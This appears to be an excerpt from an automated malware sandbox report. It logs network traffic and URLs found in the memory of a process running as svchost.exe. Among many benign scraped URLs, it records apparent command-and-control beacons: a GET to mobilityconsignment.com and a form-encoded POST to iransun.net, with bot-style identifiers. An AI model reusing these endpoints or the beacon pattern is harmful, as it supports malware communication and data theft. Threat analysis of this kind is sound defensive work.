Source: global trafficHTTP traffic detected: GET /W4C1yQ.php?m=xl59elj25q8m HTTP/1.1Accept: */*User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Cache-Control: no-cacheHost: www.mobilityconsignment.comConnection: Close
Source: svchost.exe, 00000004.00000003.558851774.00000000036D0000.00000004.00000001.sdmpString found in binary or memory: <div class="rh_footer__social"><a class="facebook" href="https://www.facebook.com/Monarchpropertyrentals/" target="_blank"><i class="fab fa-facebook-square fa-lg"></i></a><a class="twitter" href="https://twitter.com/MonarchPty" target="_blank"><i class="fab fa-twitter fa-lg"></i></a><a class="youtube" href="https://www.youtube.com/channel/UC34W_NrdxiZLPTwi8kOGn1w/videos" target="_blank"><i class="fab fa-youtube fa-lg"></i></a><a class="rss" href="https://www.tpn.co.za/Group/Home/Media?tab=monitor" target="_blank"><i class="fas fa-rss fa-lg"></i></a></div> <!-- /.rh_footer__social --> equals www.facebook.com (Facebook)
Source: svchost.exe, 00000004.00000003.558851774.00000000036D0000.00000004.00000001.sdmpString found in binary or memory: <div class="rh_footer__social"><a class="facebook" href="https://www.facebook.com/Monarchpropertyrentals/" target="_blank"><i class="fab fa-facebook-square fa-lg"></i></a><a class="twitter" href="https://twitter.com/MonarchPty" target="_blank"><i class="fab fa-twitter fa-lg"></i></a><a class="youtube" href="https://www.youtube.com/channel/UC34W_NrdxiZLPTwi8kOGn1w/videos" target="_blank"><i class="fab fa-youtube fa-lg"></i></a><a class="rss" href="https://www.tpn.co.za/Group/Home/Media?tab=monitor" target="_blank"><i class="fas fa-rss fa-lg"></i></a></div> <!-- /.rh_footer__social --> equals www.twitter.com (Twitter)
Source: svchost.exe, 00000004.00000003.558851774.00000000036D0000.00000004.00000001.sdmpString found in binary or memory: <div class="rh_footer__social"><a class="facebook" href="https://www.facebook.com/Monarchpropertyrentals/" target="_blank"><i class="fab fa-facebook-square fa-lg"></i></a><a class="twitter" href="https://twitter.com/MonarchPty" target="_blank"><i class="fab fa-twitter fa-lg"></i></a><a class="youtube" href="https://www.youtube.com/channel/UC34W_NrdxiZLPTwi8kOGn1w/videos" target="_blank"><i class="fab fa-youtube fa-lg"></i></a><a class="rss" href="https://www.tpn.co.za/Group/Home/Media?tab=monitor" target="_blank"><i class="fas fa-rss fa-lg"></i></a></div> <!-- /.rh_footer__social --> equals www.youtube.com (Youtube)
Source: svchost.exe, 00000004.00000003.574994541.0000000003700000.00000004.00000001.sdmpString found in binary or memory: <div class="inline-block"><a href="https://www.facebook.com/MiddletonsUK/" aria-label="Go to the Middletons Facebook page"><img src="//cdn.shopify.com/s/files/1/2178/1121/t/26/assets/logo-fb.svg?v=8519584403306149461" alt="" /></a></div> equals www.facebook.com (Facebook)
Source: svchost.exe, 00000004.00000003.574994541.0000000003700000.00000004.00000001.sdmpString found in binary or memory: <div class="inline-block"><a href="https://www.youtube.com/channel/UCi1rl24o3vr0gFsgVumUseg" aria-label="Go to the Middletons YouTube page"><img src="//cdn.shopify.com/s/files/1/2178/1121/t/26/assets/logo-yt.svg?v=17976457084863901838" alt="" /></a></div> equals www.youtube.com (Youtube)
Source: svchost.exe, 00000004.00000003.801781203.0000000003730000.00000004.00000001.sdmpString found in binary or memory: <iframe width="480" height="270" src="https://www.youtube.com/embed/9wCygJtW_SQ?rel=0&autoplay=0&showinfo=0&controls=0" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe> equals www.youtube.com (Youtube)
Source: svchost.exe, 00000004.00000002.874189649.000000000577A000.00000004.00000001.sdmpString found in binary or memory: www.facebook.com equals www.facebook.com (Facebook)
Source: unknownDNS traffic detected: queries for: iransun.net
Source: unknownHTTP traffic detected: POST /_rn62Q.php?z=xl59elj25q8m HTTP/1.1Accept: */*Content-Type: application/x-www-form-urlencodedContent-Length: 139User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: iransun.netConnection: CloseCache-Control: no-cache
Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundCache-Control: no-cache, must-revalidate, max-age=0Content-Type: text/html; charset=UTF-8Expires: Wed, 11 Jan 1984 05:00:00 GMTServer: Microsoft-IISX-Powered-By: PHP/7.2.34Link: <http://ladiabetesnoesmilimite.com/wp-json/>; rel="https://api.w.org/"X-Powered-By: ASP.NETSet-Cookie: dadaproaffinity=ca40f5bdcd5d21b1022d8ca52acb2e0511772ce521dde60c4249c88675e2db45;Path=/;Domain=ladiabetesnoesmilimite.comX-Powered-By: ARR/3.0Date: Tue, 23 Mar 2021 10:35:23 GMTConnection: closeContent-Length: 15Data Raw: ef bb bf 20 20 20 20 20 20 20 20 20 34 30 34 Data Ascii: 404
Source: svchost.exe, 00000004.00000003.574994541.0000000003700000.00000004.00000001.sdmpString found in binary or memory: http://collector-6005.tvsquared.com/
Source: svchost.exe, 00000004.00000002.868058881.000000000309C000.00000004.00000001.sdmpString found in binary or memory: http://energieausweis-solingen.de/SvTzIO.php?i=ninj1ehuy222
Source: svchost.exe, 00000004.00000003.574994541.0000000003700000.00000004.00000001.sdmpString found in binary or memory: https://ajax.googleapis.com/ajax/libs/jquery/3.4.1/jquery.min.js
Source: svchost.exe, 00000004.00000003.558851774.00000000036D0000.00000004.00000001.sdmpString found in binary or memory: https://api.w.org/
Source: svchost.exe, 00000004.00000003.587500837.0000000003700000.00000004.00000001.sdmpString found in binary or memory: https://cdn-stamped-io.azureedge.net/files/widget.min.js
Source: svchost.exe, 00000004.00000003.801193970.0000000003730000.00000004.00000001.sdmpString found in binary or memory: https://cdn.jsdelivr.net/gh/fancyapps/fancybox
Source: svchost.exe, 00000004.00000003.574994541.0000000003700000.00000004.00000001.sdmpString found in binary or memory: https://cdn.shopify.com/s/files/1/2178/1121/files/middletons-logo.png?height=628&pad_color=fff&v=158
Source: svchost.exe, 00000004.00000003.574994541.0000000003700000.00000004.00000001.sdmpString found in binary or memory: https://cdn.shopify.com/s/trekkie.storefront.205f91b45b7ac6f1738980e73dea86244fc0404d.min.js
Source: svchost.exe, 00000004.00000003.574994541.0000000003700000.00000004.00000001.sdmpString found in binary or memory: https://cdn.shopify.com/shopifycloud/boomerang/shopify-boomerang-1.0.0.min.js
Source: svchost.exe, 00000004.00000003.574994541.0000000003700000.00000004.00000001.sdmpString found in binary or memory: https://cdn.shopify.com/shopifycloud/storefront-recaptcha-v3/v0.1/index.js
Source: svchost.exe, 00000004.00000003.574994541.0000000003700000.00000004.00000001.sdmpString found in binary or memory: https://cdnjs.cloudflare.com/ajax/libs/jquery-easing/1.4.1/jquery.easing.compatibility.min.js
Source: svchost.exe, 00000004.00000003.574994541.0000000003700000.00000004.00000001.sdmpString found in binary or memory: https://collector-6005.tvsquared.com/
Source: svchost.exe, 00000004.00000003.801193970.0000000003730000.00000004.00000001.sdmpString found in binary or memory: https://fonts.googleapis.com/css?family=Noto
Source: svchost.exe, 00000004.00000003.574994541.0000000003700000.00000004.00000001.sdmpString found in binary or memory: https://fonts.googleapis.com/css?family=Poppins:400
Source: svchost.exe, 00000004.00000003.558851774.00000000036D0000.00000004.00000001.sdmpString found in binary or memory: https://fonts.googleapis.com/css?family=Rubik%3A400%2C400i%2C500%2C500i%2C700%2C700i&#038;subset=lat
Source: svchost.exe, 00000004.00000003.558851774.00000000036D0000.00000004.00000001.sdmpString found in binary or memory: https://gmpg.org/xfn/11
Source: svchost.exe, 00000004.00000003.574994541.0000000003700000.00000004.00000001.sdmpString found in binary or memory: https://kit.fontawesome.com/83c69ecfbb.js
Source: svchost.exe, 00000004.00000003.574994541.0000000003700000.00000004.00000001.sdmpString found in binary or memory: https://middletons.co.uk/blogs/lifestyle-hub/a-guide-to-good-posture-when-sitting-down
Source: svchost.exe, 00000004.00000003.574994541.0000000003700000.00000004.00000001.sdmpString found in binary or memory: https://middletons.co.uk/blogs/lifestyle-hub/we-are-now-open
Source: svchost.exe, 00000004.00000003.574994541.0000000003700000.00000004.00000001.sdmpString found in binary or memory: https://middletons.co.uk/pages/about
Source: svchost.exe, 00000004.00000003.574994541.0000000003700000.00000004.00000001.sdmpString found in binary or memory: https://middletons.co.uk/pages/thank-you-brochure
Source: svchost.exe, 00000004.00000003.558819002.00000000036D0000.00000004.00000001.sdmpString found in binary or memory: https://monarchrentals.co.z
Source: svchost.exe, 00000004.00000003.558851774.00000000036D0000.00000004.00000001.sdmpString found in binary or memory: https://monarchrentals.co.za
Source: svchost.exe, 00000004.00000003.558851774.00000000036D0000.00000004.00000001.sdmp, svchost.exe, 00000004.00000003.561797447.00000000036D0000.00000004.00000001.sdmpString found in binary or memory: https://monarchrentals.co.za/
Source: svchost.exe, 00000004.00000003.558851774.00000000036D0000.00000004.00000001.sdmpString found in binary or memory: https://monarchrentals.co.za/#organization
Source: svchost.exe, 00000004.00000003.558851774.00000000036D0000.00000004.00000001.sdmpString found in binary or memory: https://monarchrentals.co.za/about-us/
Source: svchost.exe, 00000004.00000003.558851774.00000000036D0000.00000004.00000001.sdmpString found in binary or memory: https://monarchrentals.co.za/comments/feed/
Source: svchost.exe, 00000004.00000003.561797447.00000000036D0000.00000004.00000001.sdmpString found in binary or memory: https://monarchrentals.co.za/compare-properties/
Source: svchost.exe, 00000004.00000003.558851774.00000000036D0000.00000004.00000001.sdmpString found in binary or memory: https://monarchrentals.co.za/contact/
Source: svchost.exe, 00000004.00000003.558851774.00000000036D0000.00000004.00000001.sdmpString found in binary or memory: https://monarchrentals.co.za/faqs/
Source: svchost.exe, 00000004.00000003.558851774.00000000036D0000.00000004.00000001.sdmpString found in binary or memory: https://monarchrentals.co.za/feed/
Source: svchost.exe, 00000004.00000003.558851774.00000000036D0000.00000004.00000001.sdmpString found in binary or memory: https://monarchrentals.co.za/home/
Source: svchost.exe, 00000004.00000003.558851774.00000000036D0000.00000004.00000001.sdmpString found in binary or memory: https://monarchrentals.co.za/property-status/for-rent/
Source: svchost.exe, 00000004.00000003.558851774.00000000036D0000.00000004.00000001.sdmp, svchost.exe, 00000004.00000003.561797447.00000000036D0000.00000004.00000001.sdmpString found in binary or memory: https://monarchrentals.co.za/property-type/2nd-floor-unit/
Source: svchost.exe, 00000004.00000003.561797447.00000000036D0000.00000004.00000001.sdmpString found in binary or memory: https://monarchrentals.co.za/property-type/apartment/
Source: svchost.exe, 00000004.00000003.561797447.00000000036D0000.00000004.00000001.sdmpString found in binary or memory: https://monarchrentals.co.za/property-type/cluster-home/
Source: svchost.exe, 00000004.00000003.561797447.00000000036D0000.00000004.00000001.sdmpString found in binary or memory: https://monarchrentals.co.za/property-type/complex/
Source: svchost.exe, 00000004.00000003.558851774.00000000036D0000.00000004.00000001.sdmp, svchost.exe, 00000004.00000003.561797447.00000000036D0000.00000004.00000001.sdmpString found in binary or memory: https://monarchrentals.co.za/property-type/double-storey-cluster-home/
Source: svchost.exe, 00000004.00000003.561797447.00000000036D0000.00000004.00000001.sdmpString found in binary or memory: https://monarchrentals.co.za/property-type/duplex-townhouse/
Source: svchost.exe, 00000004.00000003.558851774.00000000036D0000.00000004.00000001.sdmp, svchost.exe, 00000004.00000003.561797447.00000000036D0000.00000004.00000001.sdmpString found in binary or memory: https://monarchrentals.co.za/property-type/first-floor-townhouse/
Source: svchost.exe, 00000004.00000003.558851774.00000000036D0000.00000004.00000001.sdmp, svchost.exe, 00000004.00000003.561797447.00000000036D0000.00000004.00000001.sdmpString found in binary or memory: https://monarchrentals.co.za/property-type/first-floor-unit/
Source: svchost.exe, 00000004.00000003.558851774.00000000036D0000.00000004.00000001.sdmpString found in binary or memory: https://monarchrentals.co.za/property-type/ground-fl
Source: svchost.exe, 00000004.00000003.561797447.00000000036D0000.00000004.00000001.sdmpString found in binary or memory: https://monarchrentals.co.za/property-type/ground-floor-unit/
Source: svchost.exe, 00000004.00000003.561797447.00000000036D0000.00000004.00000001.sdmpString found in binary or memory: https://monarchrentals.co.za/property-type/house/
Source: svchost.exe, 00000004.00000003.561797447.00000000036D0000.00000004.00000001.sdmpString found in binary or memory: https://monarchrentals.co.za/property-type/residential/
Source: svchost.exe, 00000004.00000003.561797447.00000000036D0000.00000004.00000001.sdmpString found in binary or memory: https://monarchrentals.co.za/property-type/simplex-cluster-residential/
Source: svchost.exe, 00000004.00000003.561797447.00000000036D0000.00000004.00000001.sdmpString found in binary or memory: https://monarchrentals.co.za/property-type/townhouse/
Source: svchost.exe, 00000004.00000003.558851774.00000000036D0000.00000004.00000001.sdmpString found in binary or memory: https://monarchrentals.co.za/testimonials/
Source: svchost.exe, 00000004.00000003.561797447.00000000036D0000.00000004.00000001.sdmpString found in binary or memory: https://monarchrentals.co.za/wp-admin/admin-ajax.php
Source: svchost.exe, 00000004.00000003.561797447.00000000036D0000.00000004.00000001.sdmpString found in binary or memory: https://monarchrentals.co.za/wp-content/plugins/easy-real-estate/js/ere-frontend.js?ver=0.8.0
Source: svchost.exe, 00000004.00000003.561797447.00000000036D0000.00000004.00000001.sdmpString found in binary or memory: https://monarchrentals.co.za/wp-content/plugins/easy-real-estate/js/jquery.validate.min.js?ver=0.8.0
Source: svchost.exe, 00000004.00000003.558851774.00000000036D0000.00000004.00000001.sdmpString found in binary or memory: https://monarchrentals.co.za/wp-content/plugins/featured-content-gallery/css/jd.gallery.css
Source: svchost.exe, 00000004.00000003.558851774.00000000036D0000.00000004.00000001.sdmpString found in binary or memory: https://monarchrentals.co.za/wp-content/plugins/featured-content-gallery/css/jd.gallery.css.php
Source: svchost.exe, 00000004.00000003.558851774.00000000036D0000.00000004.00000001.sdmpString found in binary or memory: https://monarchrentals.co.za/wp-content/plugins/featured-content-gallery/scripts/jd.gallery.js.php
Source: svchost.exe, 00000004.00000003.558851774.00000000036D0000.00000004.00000001.sdmpString found in binary or memory: https://monarchrentals.co.za/wp-content/plugins/featured-content-gallery/scripts/jd.gallery.transiti
Source: svchost.exe, 00000004.00000003.558851774.00000000036D0000.00000004.00000001.sdmpString found in binary or memory: https://monarchrentals.co.za/wp-content/plugins/featured-content-gallery/scripts/mootools.v1.11.js
Source: svchost.exe, 00000004.00000003.558851774.00000000036D0000.00000004.00000001.sdmpString found in binary or memory: https://monarchrentals.co.za/wp-content/plugins/mortgage-calculator/css/main.css?ver=screen
Source: svchost.exe, 00000004.00000003.561797447.00000000036D0000.00000004.00000001.sdmpString found in binary or memory: https://monarchrentals.co.za/wp-content/plugins/mortgage-calculator/js/jquery.validate.min.js?ver=1.
Source: svchost.exe, 00000004.00000003.561797447.00000000036D0000.00000004.00000001.sdmpString found in binary or memory: https://monarchrentals.co.za/wp-content/plugins/mortgage-calculator/js/mortgage-calculator.js?ver=1.
Source: svchost.exe, 00000004.00000003.558851774.00000000036D0000.00000004.00000001.sdmpString found in binary or memory: https://monarchrentals.co.za/wp-content/plugins/quick-and-easy-testimonials/public/css/quick-and-eas
Source: svchost.exe, 00000004.00000003.558851774.00000000036D0000.00000004.00000001.sdmpString found in binary or memory: https://monarchrentals.co.za/wp-content/plugins/wp-property/static/scripts/l10n.js?ver=2.4.2
Source: svchost.exe, 00000004.00000003.558851774.00000000036D0000.00000004.00000001.sdmpString found in binary or memory: https://monarchrentals.co.za/wp-content/plugins/wp-property/static/scripts/wpp.global.js?ver=2.4.2
Source: svchost.exe, 00000004.00000003.558851774.00000000036D0000.00000004.00000001.sdmpString found in binary or memory: https://monarchrentals.co.za/wp-content/plugins/wp-property/static/styles/wp_properties.css?ver=2.4.
Source: svchost.exe, 00000004.00000003.561797447.00000000036D0000.00000004.00000001.sdmpString found in binary or memory: https://monarchrentals.co.za/wp-content/themes/realhomes/assets/modern/scripts/js/custom.js?ver=3.13
Source: svchost.exe, 00000004.00000003.561797447.00000000036D0000.00000004.00000001.sdmpString found in binary or memory: https://monarchrentals.co.za/wp-content/themes/realhomes/assets/modern/scripts/js/inspiry-search-for
Source: svchost.exe, 00000004.00000003.561797447.00000000036D0000.00000004.00000001.sdmpString found in binary or memory: https://monarchrentals.co.za/wp-content/themes/realhomes/assets/modern/scripts/vendors/progressbar/d
Source: svchost.exe, 00000004.00000003.558851774.00000000036D0000.00000004.00000001.sdmpString found in binary or memory: https://monarchrentals.co.za/wp-content/themes/realhomes/assets/modern/styles/css/custom.css?ver=3.1
Source: svchost.exe, 00000004.00000003.558851774.00000000036D0000.00000004.00000001.sdmpString found in binary or memory: https://monarchrentals.co.za/wp-content/themes/realhomes/assets/modern/styles/css/main.css?ver=3.13.
Source: svchost.exe, 00000004.00000003.558851774.00000000036D0000.00000004.00000001.sdmpString found in binary or memory: https://monarchrentals.co.za/wp-content/themes/realhomes/common/css/frontend-styles.css?ver=3.13.1
Source: svchost.exe, 00000004.00000003.558851774.00000000036D0000.00000004.00000001.sdmpString found in binary or memory: https://monarchrentals.co.za/wp-content/themes/realhomes/common/font-awesome/css/all.min.css?ver=5.1
Source: svchost.exe, 00000004.00000003.561797447.00000000036D0000.00000004.00000001.sdmpString found in binary or memory: https://monarchrentals.co.za/wp-content/themes/realhomes/common/js/cfos.js?ver=3.13.1
Source: svchost.exe, 00000004.00000003.561797447.00000000036D0000.00000004.00000001.sdmpString found in binary or memory: https://monarchrentals.co.za/wp-content/themes/realhomes/common/js/common-custom.js?ver=3.13.1
Source: svchost.exe, 00000004.00000003.561797447.00000000036D0000.00000004.00000001.sdmpString found in binary or memory: https://monarchrentals.co.za/wp-content/themes/realhomes/common/js/compare-properties.js?ver=3.13.1
Source: svchost.exe, 00000004.00000003.561797447.00000000036D0000.00000004.00000001.sdmpString found in binary or memory: https://monarchrentals.co.za/wp-content/themes/realhomes/common/js/inspiry-login.js?ver=3.13.1
Source: svchost.exe, 00000004.00000003.558851774.00000000036D0000.00000004.00000001.sdmpString found in binary or memory: https://monarchrentals.co.za/wp-content/themes/realhomes/common/optamize/vendors.css?ver=3.13.1
Source: svchost.exe, 00000004.00000003.561797447.00000000036D0000.00000004.00000001.sdmpString found in binary or memory: https://monarchrentals.co.za/wp-content/themes/realhomes/common/optamize/vendors.js?ver=3.13.1
Source: svchost.exe, 00000004.00000003.558851774.00000000036D0000.00000004.00000001.sdmpString found in binary or memory: https://monarchrentals.co.za/wp-content/themes/realhomes/style.css?ver=3.13.1
Source: svchost.exe, 00000004.00000003.558851774.00000000036D0000.00000004.00000001.sdmpString found in binary or memory: https://monarchrentals.co.za/wp-content/uploads/2019/11/cropped-Screenshot_2019-11-04_at_10-removebg
Source: svchost.exe, 00000004.00000003.558851774.00000000036D0000.00000004.00000001.sdmpString found in binary or memory: https://monarchrentals.co.za/wp-content/uploads/2019/12/Screenshot-2019-12-18-at-14.50.52.png
Source: svchost.exe, 00000004.00000003.558851774.00000000036D0000.00000004.00000001.sdmpString found in binary or memory: https://monarchrentals.co.za/wp-content/uploads/2019/12/Screenshot-2019-12-20-at-09.13.00.png
Source: svchost.exe, 00000004.00000003.558851774.00000000036D0000.00000004.00000001.sdmpString found in binary or memory: https://monarchrentals.co.za/wp-content/uploads/2019/12/Screenshot_2019-11-04_at_10-removebg-preview
Source: svchost.exe, 00000004.00000003.558851774.00000000036D0000.00000004.00000001.sdmpString found in binary or memory: https://monarchrentals.co.za/wp-includes/css/dist/block-library/style.min.css?ver=5.7
Source: svchost.exe, 00000004.00000003.558851774.00000000036D0000.00000004.00000001.sdmpString found in binary or memory: https://monarchrentals.co.za/wp-includes/css/dist/block-library/theme.min.css?ver=5.7
Source: svchost.exe, 00000004.00000003.558851774.00000000036D0000.00000004.00000001.sdmpString found in binary or memory: https://monarchrentals.co.za/wp-includes/js/jquery/jquery-migrate.min.js?ver=3.3.2
Source: svchost.exe, 00000004.00000003.561797447.00000000036D0000.00000004.00000001.sdmpString found in binary or memory: https://monarchrentals.co.za/wp-includes/js/jquery/jquery.form.min.js?ver=4.2.1
Source: svchost.exe, 00000004.00000003.558851774.00000000036D0000.00000004.00000001.sdmpString found in binary or memory: https://monarchrentals.co.za/wp-includes/js/jquery/jquery.min.js?ver=3.5.1
Source: svchost.exe, 00000004.00000003.558851774.00000000036D0000.00000004.00000001.sdmpString found in binary or memory: https://monarchrentals.co.za/wp-includes/js/jquery/ui/core.min.js?ver=1.12.1
Source: svchost.exe, 00000004.00000003.558851774.00000000036D0000.00000004.00000001.sdmpString found in binary or memory: https://monarchrentals.co.za/wp-includes/js/jquery/ui/mouse.min.js?ver=1.12.1
Source: svchost.exe, 00000004.00000003.558851774.00000000036D0000.00000004.00000001.sdmpString found in binary or memory: https://monarchrentals.co.za/wp-includes/js/jquery/ui/sortable.min.js?ver=1.12.1
Source: svchost.exe, 00000004.00000003.558851774.00000000036D0000.00000004.00000001.sdmpString found in binary or memory: https://monarchrentals.co.za/wp-includes/js/jquery/ui/tabs.min.js?ver=1.12.1
Source: svchost.exe, 00000004.00000003.561797447.00000000036D0000.00000004.00000001.sdmpString found in binary or memory: https://monarchrentals.co.za/wp-includes/js/wp-embed.min.js?ver=5.7
Source: svchost.exe, 00000004.00000003.558851774.00000000036D0000.00000004.00000001.sdmpString found in binary or memory: https://monarchrentals.co.za/wp-includes/wlwmanifest.xml
Source: svchost.exe, 00000004.00000003.558851774.00000000036D0000.00000004.00000001.sdmpString found in binary or memory: https://monarchrentals.co.za/wp-json/
Source: svchost.exe, 00000004.00000003.558851774.00000000036D0000.00000004.00000001.sdmpString found in binary or memory: https://monarchrentals.co.za/xmlrpc.php?rsd
Source: svchost.exe, 00000004.00000003.574994541.0000000003700000.00000004.00000001.sdmpString found in binary or memory: https://monorail-edge.shopifysvc.com
Source: svchost.exe, 00000004.00000003.574994541.0000000003700000.00000004.00000001.sdmpString found in binary or memory: https://monorail-edge.shopifysvc.com/v1/produce
Source: svchost.exe, 00000004.00000003.574994541.0000000003700000.00000004.00000001.sdmpString found in binary or memory: https://obscure-escarpment-2240.herokuapp.com/stylesheets/bcpo-front.css
Source: svchost.exe, 00000004.00000003.558851774.00000000036D0000.00000004.00000001.sdmpString found in binary or memory: https://schema.org
Source: svchost.exe, 00000004.00000003.801193970.0000000003730000.00000004.00000001.sdmpString found in binary or memory: https://static.HugeDomains.com/css/hdv3-css/reboot.min.css
Source: svchost.exe, 00000004.00000003.801193970.0000000003730000.00000004.00000001.sdmpString found in binary or memory: https://static.HugeDomains.com/css/hdv3-css/responsive.css?aa=2020-10-10
Source: svchost.exe, 00000004.00000003.801193970.0000000003730000.00000004.00000001.sdmpString found in binary or memory: https://static.HugeDomains.com/css/hdv3-css/style.css?aa=2020-10-10
Source: svchost.exe, 00000004.00000003.801390721.0000000003720000.00000004.00000001.sdmpString found in binary or memory: https://static.HugeDomains.com/ima
Source: svchost.exe, 00000004.00000003.801781203.0000000003730000.00000004.00000001.sdmpString found in binary or memory: https://static.HugeDomains.com/images/hdv3-img/call-us.png
Source: svchost.exe, 00000004.00000003.801193970.0000000003730000.00000004.00000001.sdmpString found in binary or memory: https://static.HugeDomains.com/images/hdv3-img/cart.png
Source: svchost.exe, 00000004.00000003.801781203.0000000003730000.00000004.00000001.sdmpString found in binary or memory: https://static.HugeDomains.com/images/hdv3-img/footer-logo-1.png
Source: svchost.exe, 00000004.00000003.801781203.0000000003730000.00000004.00000001.sdmpString found in binary or memory: https://static.HugeDomains.com/images/hdv3-img/footer-logo-2.png
Source: svchost.exe, 00000004.00000003.801781203.0000000003730000.00000004.00000001.sdmpString found in binary or memory: https://static.HugeDomains.com/images/hdv3-img/footer-logo-3.png
Source: svchost.exe, 00000004.00000003.801781203.0000000003730000.00000004.00000001.sdmpString found in binary or memory: https://static.HugeDomains.com/images/hdv3-img/footer-logo-4.png
Source: svchost.exe, 00000004.00000003.801781203.0000000003730000.00000004.00000001.sdmpString found in binary or memory: https://static.HugeDomains.com/images/hdv3-img/footer-logo-5.png
Source: svchost.exe, 00000004.00000003.801781203.0000000003730000.00000004.00000001.sdmpString found in binary or memory: https://static.HugeDomains.com/images/hdv3-img/garantee.png
Source: svchost.exe, 00000004.00000003.801193970.0000000003730000.00000004.00000001.sdmpString found in binary or memory: https://static.HugeDomains.com/images/hdv3-img/hugedomains_logo.svg
Source: svchost.exe, 00000004.00000003.801781203.0000000003730000.00000004.00000001.sdmpString found in binary or memory: https://static.HugeDomains.com/images/hdv3-img/mail-icon.png
Source: svchost.exe, 00000004.00000003.801193970.0000000003730000.00000004.00000001.sdmpString found in binary or memory: https://static.HugeDomains.com/images/hdv3-img/og_hugedomains.png
Source: svchost.exe, 00000004.00000003.801193970.0000000003730000.00000004.00000001.sdmpString found in binary or memory: https://static.HugeDomains.com/images/hdv3-img/phone-icon.png
Source: svchost.exe, 00000004.00000003.801781203.0000000003730000.00000004.00000001.sdmpString found in binary or memory: https://static.HugeDomains.com/images/hdv3-img/present-section-ico-3.png
Source: svchost.exe, 00000004.00000003.801781203.0000000003730000.00000004.00000001.sdmpString found in binary or memory: https://static.HugeDomains.com/images/hdv3-img/rocket-icon.png
Source: svchost.exe, 00000004.00000003.801193970.0000000003730000.00000004.00000001.sdmpString found in binary or memory: https://static.HugeDomains.com/images/hdv3-img/search-icon.png
Source: svchost.exe, 00000004.00000003.801781203.0000000003730000.00000004.00000001.sdmpString found in binary or memory: https://static.HugeDomains.com/js/hdv3-js/common.js
Source: svchost.exe, 00000004.00000003.801781203.0000000003730000.00000004.00000001.sdmpString found in binary or memory: https://static.HugeDomains.com/js/hdv3-js/hd-js.js?a=20201016a
Source: svchost.exe, 00000004.00000003.801781203.0000000003730000.00000004.00000001.sdmpString found in binary or memory: https://static.HugeDomains.com/js/hdv3-js/intlTelInput.js
Source: svchost.exe, 00000004.00000003.801781203.0000000003730000.00000004.00000001.sdmpString found in binary or memory: https://static.HugeDomains.com/js/hdv3-js/jquery.min.js
Source: svchost.exe, 00000004.00000003.801781203.0000000003730000.00000004.00000001.sdmpString found in binary or memory: https://static.HugeDomains.com/js/hdv3-js/script.js
Source: svchost.exe, 00000004.00000003.574994541.0000000003700000.00000004.00000001.sdmpString found in binary or memory: https://uk.trustpilot.com/review/middletons.co.uk
Source: svchost.exe, 00000004.00000003.801193970.0000000003730000.00000004.00000001.sdmpString found in binary or memory: https://use.typekit.net/zyw6mds.css
Source: svchost.exe, 00000004.00000003.801193970.0000000003730000.00000004.00000001.sdmp, svchost.exe, 00000004.00000003.801781203.0000000003730000.00000004.00000001.sdmpString found in binary or memory: https://www.HugeDomains.com/about.cfm
Source: svchost.exe, 00000004.00000003.801781203.0000000003730000.00000004.00000001.sdmpString found in binary or memory: https://www.HugeDomains.com/avoiding_problems.cfm
Source: svchost.exe, 00000004.00000003.801781203.0000000003730000.00000004.00000001.sdmpString found in binary or memory: https://www.HugeDomains.com/business_assets.cfm
Source: svchost.exe, 00000004.00000003.801781203.0000000003730000.00000004.00000001.sdmpString found in binary or memory: https://www.HugeDomains.com/buying_guide.cfm
Source: svchost.exe, 00000004.00000003.801781203.0000000003730000.00000004.00000001.sdmpString found in binary or memory: https://www.HugeDomains.com/categories.cfm
Source: svchost.exe, 00000004.00000003.801781203.0000000003730000.00000004.00000001.sdmpString found in binary or memory: https://www.HugeDomains.com/contact.cfm
Source: svchost.exe, 00000004.00000003.801781203.0000000003730000.00000004.00000001.sdmpString found in binary or memory: https://www.HugeDomains.com/domain_buying_process.cfm
Source: svchost.exe, 00000004.00000003.801781203.0000000003730000.00000004.00000001.sdmpString found in binary or memory: https://www.HugeDomains.com/domain_name_checklist.cfm
Source: svchost.exe, 00000004.00000003.801193970.0000000003730000.00000004.00000001.sdmpString found in binary or memory: https://www.HugeDomains.com/domain_profile.cfm?d=Ibhat.com
Source: svchost.exe, 00000004.00000003.801781203.0000000003730000.00000004.00000001.sdmpString found in binary or memory: https://www.HugeDomains.com/domain_profile.cfm?d=KanChibHatta.com
Source: svchost.exe, 00000004.00000003.801781203.0000000003730000.00000004.00000001.sdmpString found in binary or memory: https://www.HugeDomains.com/domain_profile.cfm?d=KashmirIbHatta.com
Source: svchost.exe, 00000004.00000003.801781203.0000000003730000.00000004.00000001.sdmpString found in binary or memory: https://www.HugeDomains.com/domain_profile.cfm?d=PratIbhaTiwari.com
Source: svchost.exe, 00000004.00000003.801193970.0000000003730000.00000004.00000001.sdmpString found in binary or memory: https://www.HugeDomains.com/domain_search.cfm
Source: svchost.exe, 00000004.00000003.801781203.0000000003730000.00000004.00000001.sdmpString found in binary or memory: https://www.HugeDomains.com/domain_search.cfm?domain_name=Ibhat
Source: svchost.exe, 00000004.00000003.801781203.0000000003730000.00000004.00000001.sdmpString found in binary or memory: https://www.HugeDomains.com/domain_valuations.cfm
Source: svchost.exe, 00000004.00000003.801781203.0000000003730000.00000004.00000001.sdmpString found in binary or memory: https://www.HugeDomains.com/domains_101.cfm
Source: svchost.exe, 00000004.00000003.801781203.0000000003730000.00000004.00000001.sdmpString found in binary or memory: https://www.HugeDomains.com/escrow.cfm
Source: svchost.exe, 00000004.00000003.801781203.0000000003730000.00000004.00000001.sdmpString found in binary or memory: https://www.HugeDomains.com/faq.cfm
Source: svchost.exe, 00000004.00000003.801781203.0000000003730000.00000004.00000001.sdmpString found in binary or memory: https://www.HugeDomains.com/get-more.cfm
Source: svchost.exe, 00000004.00000003.801781203.0000000003730000.00000004.00000001.sdmpString found in binary or memory: https://www.HugeDomains.com/how-domain-transfers-work.cfm
Source: svchost.exe, 00000004.00000003.801193970.0000000003730000.00000004.00000001.sdmp, svchost.exe, 00000004.00000003.801781203.0000000003730000.00000004.00000001.sdmpString found in binary or memory: https://www.HugeDomains.com/index.cfm
